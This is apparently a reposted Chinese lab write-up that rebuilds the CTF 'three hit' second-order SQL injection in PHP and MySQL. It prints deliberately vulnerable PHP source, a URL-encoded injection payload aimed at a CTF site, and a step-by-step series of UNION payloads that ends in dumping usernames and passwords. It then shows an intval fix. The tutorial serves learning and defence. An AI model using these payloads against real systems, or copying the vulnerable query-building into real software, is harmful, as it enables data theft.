threehit二次注入案例

君衍.

  • 一、环境搭建
    • 1、conn.php源码:
    • 2、register.php源码
    • 3、login.php源码
    • 4、index.php源码
    • 5、demo.php源码
  • 二、数据库环境搭建
    • 1、注意点一
    • 2、注意点二
      • 报错原因
  • 三、复现过程
    • 1、user1
    • 2、user2
    • 3、user3
    • 4、user4
    • 5、user5
    • 6、user6-name
    • 7、user7-table
    • 8、user8-column
    • 9、user9-data
  • 四、预防手段

一、环境搭建

本复现源码来源网络,非本人编写。本threehit二次注入参考强网杯的“three hit”,于本地搭建二次注入环境进行案例的复现以及理解二次注入的原理。
在这里插入图片描述

本环境基于5个PHP源码来做后端,使用小皮来做环境支撑,使用Nginx以及Apache都可,连接到数据库完成搭建。

在这里插入图片描述

1、conn.php源码:

<?php$con = mysqli_connect('localhost','root','123456','test');if(!$con){die('Cound not connect:'.mysqli_connect_error());}
?>

本文件我们可以看出来是进行数据库连接的源码,首先使用mysqli_connect函数进行连接输入据,后面依次是主机名,这里localhost即为本地,root为数据库用户名,123456为数据库密码,test为连接的数据库名。下面进行判断是否成功连接,如果连接失败,那么输出报错。

2、register.php源码

<!DOCTYPE html>
<html>
<head><title>注册</title><meta charset="utf-8">
</head>
<body>
<h2 align="center">注册</h2>
<form action="" method="POST">用户名: <input type="text" name="name"><br>年龄: <input type="text" name="age"><br>密码: <input type="text" name="pwd"><br><input type="submit" name="submit" value="提交">
</form>
<?phprequire('conn.php');if(isset($_POST['submit'])){$user = addslashes(@$_POST['name']);  //addslashes过滤掉单引号等防注入$age = addslashes(@$_POST['age']);$pwd = addslashes(@$_POST['pwd']);$sql = "INSERT INTO user(name,pwd,age) VALUES('".$user."','".$pwd."','".$age."')";if($res = mysqli_query($con,$sql)){echo "注册成功<br>用户名:$user<br>年龄:$age<br><a href='login.php'>去登录</a>";}else{echo "注册失败";}}
?>
</body>
</html>

前面这串HTML我就不解读了,我们看php代码块,首先引入了conn.php文件,然后进行判断,如果表单提交那么首先获取并过滤用户名、年龄以及密码,然后构建插入用户数据的SQL语句,之后再次进行判断,如果执行成功那么输出注册成功,否则注册失败。

3、login.php源码

<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head><title>登录</title><meta charset="utf-8">
</head>
<body>
<h2 align="center">登录</h2>
<form action="" method="POST">用户名: <input type="text" name="name"><br>密码: <input type="text" name="pwd"><br><input type="submit" name="submit" value="登录">
</form>
<h2>已注册用户:</h2><hr>
<?phprequire("conn.php");$sql = "SELECT * FROM user";// 列出已注册用户if($res = mysqli_query($con,$sql)){while($row = mysqli_fetch_assoc($res)){echo "用户名:".$row['name']."<br>年龄:".$row['age']."<br>";}}
?>
<hr>
<?phpif(isset($_POST['submit'])){$name = @$_POST['name'];$pwd = @$_POST['pwd'];$sql = "SELECT * FROM user WHERE name='".$name."' and pwd='".$pwd."'";// 登录if($res = mysqli_query($con,$sql)){if(mysqli_num_rows($res)>0){$_SESSION['user'] = $name;header("Refresh:0;url=index.php");}else{echo '登录失败';}}}
?>
</body>
</html>

前面HTML代码就是创建了一个表单,同时设置使用POST方法来提交表单数据。之后PHP部分则为引入conn.php文件来进行连接,然后构造SQL查询语句,执行并将结果取出一行作为关联数组,循环遍历输出已注册用户的用户名以及年龄。接着判断是否点击了提交,如果点击了来进行获取用户输入的用户名以及密码,构造查询语句来进行匹配数据库中的数据,mysqli_num_rows($res)函数来获取查询结果行数是否大于0,如果大于0则表示匹配成功。之后将用户名存储在会话变量中,重定向至index.php页面。

4、index.php源码

<?phpsession_start();if(!isset($_SESSION['user'])){header("Refresh:0;url=login.php");}
?>
<!DOCTYPE html>
<html>
<head><title>首页</title><meta charset="utf-8">
</head>
<body>
<?phprequire('conn.php');//显示当前用户信息$sql = "SELECT * FROM user WHERE name='".@$_SESSION['user']."'";if($res = mysqli_query($con,$sql)){while($row = mysqli_fetch_assoc($res)){$current_name = $row['name'];$current_age = $row['age'];echo '当前用户:'.$current_name.'<br>年龄:'.$current_age;}}echo "<br><br>";//显示同龄用户$sql = "SELECT * FROM user WHERE age='".$current_age."' LIMIT 1";// $current_age从数据库取出未经过滤直接拼接SQL语句,从而产生二次注入if($res = mysqli_query($con,$sql)){while($row = mysqli_fetch_assoc($res)){echo '与'.$current_name.'<br>同年龄为'.$current_age.'的有<br>'.$row['name']."<br>";}}echo "<br><br><a href='register.php'>去注册</a>"
?>
</body>
</html>

首先第一段PHP代码启动了会话,来判断是否存在user的会话变量,如果不存在则用户没有进行登录,则通过header函数将页面重定向到login.php,来实现用户身份验证和重定向功能。中间的HTML没什么意义,我们看第二段PHP部分,引入conn.php文件,构造出一个查询语句来用于从数据库中选择当前登录用户的信息,执行并循环遍历出结果存入$current_name$current_age 变量中。这里我们就会发现$current_age 从数据库中获取之后并没有经过过滤,直接拼接到SQL查询语句中。 接着构造出一个查询语句来用于从数据库中选择与当前用户同龄的第一个用户信息。后面便是执行查询并获取结果集。

5、demo.php源码

<?php
$url = "http://cheaplottery.solveme.peng.kr/index.php?lottery%5BA%5D=1'),('%C3%A0%C4%8F%E1%B9%81%C3%8D%C3%B1_".$a."','$time','1,1,1,1,1'),('%C4%9D%C3%9B%C3%A8%C5%9B%C5%A3_".$a."','$time','1,1,1,1,1')%23&lottery%5BB%5D=&lottery%5BC%5D=&lottery%5BD%5D=&lottery%5BE%5D=";
$decodedUrl = urldecode($url);
echo $decodedUrl;
?>

这里定义了一个URL字符串,然后调用urldecode() 函数,对 URL 进行解码操作,将其中的百分号编码转换为对应的字符。最后一行代码将解码后的URL输出到页面上。

二、数据库环境搭建

这里数据库使用小皮提供的数据库进行测试:
在这里插入图片描述
同时我们还需要注意自己去创建数据库以及创建表时需要注意的内容:
创建数据库简单,这里我们使用create语句直接创建即可,这里创建数据库的名称为test:

create database test;

创建完数据库后,我们创建我们所需要的表,注意列名!!!这里我们参考源码注册时构建的数据库语句即表名的列来进行创建:
在这里插入图片描述
这里我们会发现列名分别为:name,pwd,age。
所以我们创建SQL语句来创建表:

CREATE TABLE user (name VARCHAR(100),pwd VARCHAR(100),age VARCHAR(200)
);

1、注意点一

这里一定要注意age使用字符型长度为200,一定需要注意,因为这里我们使用联合注入注入表以及列时由于字符长度过于长,所以这里需要注入长度为200,不然会出现我们下面这种情况:
在这里插入图片描述
我们可以看到这里报错了,显示数据长度过长我进行了查看:

ERROR 1406 (22001): Data too long for column 'age' at row 1

我查看之后将age字段从varchar(100)改为了varchar(200),使用如下SQL语句:

ALTER TABLE user MODIFY COLUMN age varchar(200);

2、注意点二

在这里我们将age的字段长度上限进行了更改,我们只是可以进行注册了,但是如果之后登录执行出现问题,我们依旧得进行调整。

这里是因为本人在首先测试时发现注册之后登录按理说是执行得,但是那里其实执行了,但是报错了,正常情况下不应该产生报错,于是我进行了调试分析:

ERROR 1271 (HY000): Illegal mix of collations for operation 'UNION'

报错内容为以上

报错原因

相同字段的编码为 utf8_general_ciutf8_unicode_ci,就会报llegal mix of collations for operation“UNION”的错误。
由于information_schame.tables中的table_name的编码为 utf8_general_ci,而union前的字段编码为utf8_unicode_ci,导致union前后编码分别为utf8_unicode_ciutf8_general_ci,所以会报改错。
而database0、version 等函数不会报该错,大概是因为编码不是 utf8_general_ci,所以导致可以查看database0而爆表名是产生报错。
在这里插入图片描述
以上便是报错的原因,既然我们知道了报错原因,那么我们进行调整,将编码格式改为utf8_general_ci即可。使用如下SQL语句:

ALTER TABLE user CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;

到这里我们已经将所有的环境搭建完成。

三、复现过程

测试用例:

namepwdage
user1user11
user2user21’ and 1=2#
user3user31’ order by 3#
user4user41’ order by 4#
user5user51’ union select 1,2,3#
user6user61’ union select database(),2,3#
user7user71’ union select group_concat(table_name),2,3 from information_schema.tables where table_schema=‘test’#
user8user81’ union select group_concat(column_name),2,3 from information_schema.columns where table_schema=‘test’ and table_name=‘user’#
user9user91’ union select group_concat(name,0x3a,pwd),2,3 from user#

1、user1

首先我们注册一个用户:user1,年龄为1来进行第一步的观察页面的回显:
在这里插入图片描述
点击提交进行登录:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
登录成功后我们可以看到有一个同年龄为1的有,进行了一个查询,再从源码中我们可以得知这里并没有进行过滤,所以这里将是我们的注入点。

2、user2

下面我们接着去注册,用户为user2,年龄为:

1' and 1=2#

这里首先我们进行闭合,然后使用and连接,1=2按理说它是要报错的,下面我们观察它的登录回显:
在这里插入图片描述
在这里插入图片描述
到这里我们可以清晰的看到这里是进行了过滤了的,将单引号进行了转义,所以这里我们很难完成注入,我们点击登录:
在这里插入图片描述
在这里插入图片描述
这里我们可以看到按道理说报错的但是并没有,其实是让过滤掉了,所以我们无法完成报错注入,同时并没有显示同龄年的信息。

3、user3

所以,下面我们去注册user3,来观察同年龄的回显,判断该表有几个字段:

1' order by 3#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里我们可以看到正常返回了查询之后的内容,所以我们可以得知字段数其实是大于等于3的。

4、user4

下面我们继续注册user4来判断字段数是否大于4:

1' order by 4#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们可以看到这里依旧没有进行显示,所以这里报错过滤了,我们可以得知字段数其实是3。

5、user5

得知了字段数,下面我们就需要判断回显在第几列了,所以我们注册user5:

1' union select 1,2,3#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
到这里我们便可以看到回显字段其实是在1这个字段,所以下面我们可以使用联合查询来进行注入。

6、user6-name

下面我们直接注册user6来获取当前数据库的名称:

1' union select database(),2,3#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们可以看到这里爆出了数据库的名称即为test。

7、user7-table

下面我们自然是使用联合查询注入的思路来进行,爆出表名,注册user7:

1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='test'#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里我们可以看到表名只有一个,这里大意了,早知道多创建几个表来更好的观察。即为user表。

8、user8-column

我们接着爆出其user表中的列名,依旧注册用户user8:

1' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='test' and table_name='user'#

这就是之前要把age字段扩充为varchar(200)的原因。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里我们即可将列名注入出来,最后就是爆数据了。

9、user9-data

直接注册user9来爆数据:

1' union select group_concat(name,0x3a,pwd),2,3 from user#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
到这里我们即可将所有的数据注入出来。

四、预防手段

这里预防手段有很多,其中最简单的便是在注册时没有对age进行过滤,所以我们只需在注册时做好过滤即可,也就避免了问题的产生。
我们可以利用强转,毕竟是年龄,所以我们可以使用intval转换为整型,也就使其无法完成闭合从而达到预防。

$age = intval(@$_POST['age']);

在这里插入图片描述
下面我们可以进行尝试:
直接使用user10,然后使用最终的注入数据的payload尝试:

1' union select group_concat(name,0x3a,pwd),2,3 from user#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们可以看到此时已经完成了防御。
二次注入可以理解为先将恶意数据插入到数据库,之后服务器从数据库取出恶意数据,未经过滤就直接拼接SQL语句进行查询而导致的漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/707939.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python编程实验五:文件的读写操作

目录 一、实验目的与要求 二、实验内容 三、主要程序清单和程序运行结果 第1题 第2题 四、实验结果分析与体会 一、实验目的与要求 &#xff08;1&#xff09;通过本次实验&#xff0c;学生应掌握与文件打开、关闭相关的函数&#xff0c;以及与读写操作相关的常用方法的…

vue中scss样式污染引发的思考

新做了一个项目&#xff0c;就是在登录后&#xff0c;就会产生左侧菜单的按钮颜色不一样。 然后发现样式是从这里传过来的 然后发现是登录页面的css给污染了 就是加了scope就把这个问题解决了 然后想总结一下这个思路&#xff1a;就是如何排查污染样式&#xff0c; 如果出现…

postman测试接口

1、postman测试接口 &#xff08;1&#xff09;首先安装postman 下载地址&#xff1a;Download Postman | Get Started for Free 选择对应版本下载&#xff0c;然后安装即可 &#xff08;2&#xff09;使用postman发送请求 比如以下这个请求例子&#xff1a; 使用postman发…

SpringBoot集成EasyExcel快速人们

目录 1.背景介绍 2.EasyExcel的使用 1.添加依赖 2.相关代码准备 1.实体类 2.ExcelUtil工具类 3.写入控制类 1.背景介绍 EasyExcel 是阿里巴巴开发的一款基于 Java 的专业化 Excel 操作工具&#xff0c;主要用于在 Java 应用程序中快速、高效地读写 Excel 文件。EasyExce…

Git 指令深入浅出【2】—— 分支管理

Git 指令深入浅出【2】—— 分支管理 分支管理1. 常用分支管理指令2. 合并分支合并冲突合并模式 3. 实战演习 分支管理 1. 常用分支管理指令 # 查看本地分支 git branch# 查看远程分支 git branch -r# 查看全部分支 git branch -aHEAD 指向的才是当前的工作分支 # 查看当前分…

开源的 Python 数据分析库Pandas 简介

阅读本文之前请参阅-----如何系统的自学python Pandas 是一个开源的 Python 数据分析库&#xff0c;它提供了高性能、易用的数据结构和数据分析工具。Pandas 特别适合处理表格数据&#xff0c;例如时间序列数据、异构数据等。以下是对 Pandas 的简明扼要的介绍&#xff0c;包括…

基于springboot实现旅游路线规划系统项目【项目源码+论文说明】

基于springboot实现旅游路线规划系统演示 摘要 随着互联网的飞速发展以及旅游产业的逐渐升温&#xff0c;越来越多人通过互联网获取更多的旅游信息&#xff0c;包括参考旅游文纪等内容。通过参考旅游博主推荐的旅游景点和规划线路&#xff0c;参考计划着自己的旅行&#xff0c…

【《高性能 MySQL》摘录】第 8 章 优化服务器设置

文章目录 8.1 MySQL 配置的工作原理8.1.1 语法、作用域和动态性8.1.2 设置变量的副作用8.1.3 入门8.1.4 通过基准测试迭代优化 8.2 什么不该做8.3 创建MySQL配置文件8.3.1 检查 MySQL 服务器状态变量 8.4 配置内存使用8.4.1 MySQL 可以使用多少内存8.4.2 每个连接需要的内存8.4…

STL常见容器(list容器)---C++

STL常见容器目录&#xff1a; 6.list容器6.1 list基本概念6.2 list构造函数6.3 list 赋值和交换6.4 list 大小操作6.5 list 插入和删除6.6 list 数据存取6.7 list 反转和排序6.8自定义排序案例 6.list容器 6.1 list基本概念 功能&#xff1a; 将数据进行链式存储&#xff1b; …

Flutter输入框换行后自适应高度

Flutter输入框换行后输入框高度随之增加 效果 设计思想 通过TextEditingController在build中监听输入框&#xff0c;输入内容后计算输入框高度然后自定义适合的值&#xff0c;并且改变外部容器高度达到自适应高度的目的 参考代码 //以下代码中的值只适用于案例&#xff0c;…

MyBatis 学习(一)之 MyBatis 概述

目录 1 MyBatis 介绍 2 MyBatis 的重要组件 3 MyBatis 执行流程 4 参考文档 1 MyBatis 介绍 MyBatis 是一个半自动化的 ORM &#xff08;Object-Relational Mapping&#xff0c;对象关系映射&#xff09;持久层框架&#xff0c;它允许开发者通过 XML 或注解将对象与数据库中…

docker的简介--安装--操作命令

1.docker的简介 1.1docker是什么 用一句话来说docker就是一个新一代虚拟化技术 Docker是一种开源的平台&#xff0c;用于开发、交付和运行应用程序。它允许开发人员将应用程序和它们的依赖打包在一个容器中&#xff0c;然后部署到任何支持Docker的环境中。Docker的主要特点包括…

【React架构 - Scheduler中的MessageChannel】

前序 我们都知道JS代码是在浏览器5个进程(下面有介绍)中渲染进程中的Js引擎线程执行的&#xff0c;其他还有GUI渲染线程、定时器线程等&#xff0c;而页面的布局和绘制是在GUI线程中完成的&#xff0c;这些线程之间是互斥的&#xff0c;所以在执行Js的同时会阻塞页面的渲染绘制…

android应用开发基础知识,安卓面试2020

第一章&#xff1a;设计思想与代码质量优化 1、设计思想六大原则 2、三大设计模式 3、数据结构 4、算法 第二章&#xff1a;程序性能优化 1、启动速度和执行效率优化 2、布局检测与优化 3、内存优化 4、耗电优化 5、网络传输与数据存储优化 6、APK大小优化 7、屏幕适配 8、…

用Java语言创建的Spring Boot项目中,如何传递List集合呢?

前言&#xff1a; 在上篇文章中&#xff0c;用Java语言创建的Spring Boot项目中&#xff0c;如何传递数组呢&#xff1f;&#xff1f;-CSDN博客&#xff0c;我们了解到Spring Boot项目中如何传递数组&#xff0c;但是&#xff0c;对于同类型的List集合&#xff0c;我们又该如何…

Centos7:自动化配置vim | suoders信任列表添加普通用户

Centos7&#xff1a;自动化配置vim | suoders信任列表添加普通用户 vim 配置原理sudoers系统可信任列表中添加普通用户自动化配置vim vim 配置原理 在目录/etc下有一个vimrc文件&#xff0c;该文件是系统中公共的vim配置文件&#xff0c;对所有用户都成立。  而在每个普通用户…

【Kafka系列 06】Kafka Producer源码解析

温馨提示&#xff1a;本文基于 Kafka 2.3.1 版本。 一、Kafka Producer 原理图 生产者的 API 使用还是比较简单&#xff0c;创建一个 ProducerRecord 对象&#xff08;这个对象包含目标主题和要发送的内容&#xff0c;当然还可以指定键以及分区&#xff09;&#xff0c;然后调…

poi 设置允许西文在单词中间换行

说明本文是CSDN-问答模块,题主提问。问题描述:poi 设置允许西文在单词中间换行 一、问题描述 poi 设置允许西文在单词中间换行? // 创建一个新的文档XWPFDocument document = new XWPFDocument();// 创建段落XWPFParagraph firstParagraph = document.createParagraph();fir…

2022《OpenScene: 3D Scene Understanding with Open Vocabularies》阅读笔记2

A. Implementation Details 3D Distillation. 我们基于PyTorch实现。为了提取,我们使用Adam[26]作为优化器,初始学习率为1e−4,并训练100个epochs。对于MinkowskiNet,我们对ScanNet和Matterport3D实验使用2cm的体素大小,对nuScenes使用5cm的体素尺寸。对于室内数据集,我…

RTSPServer推流服务

RTSPServer推流服务 1.开发原因 由于项目需要使用&#xff0c;虽然有现成的RTSPServer推流服务&#xff0c;由于是闭源代码&#xff0c;无法查看了解内部的逻辑处理流程&#xff0c;所以急需要一套较为稳定并可以使用的推流服务&#xff0c;并且从网上看大部分的RTSPServer推流…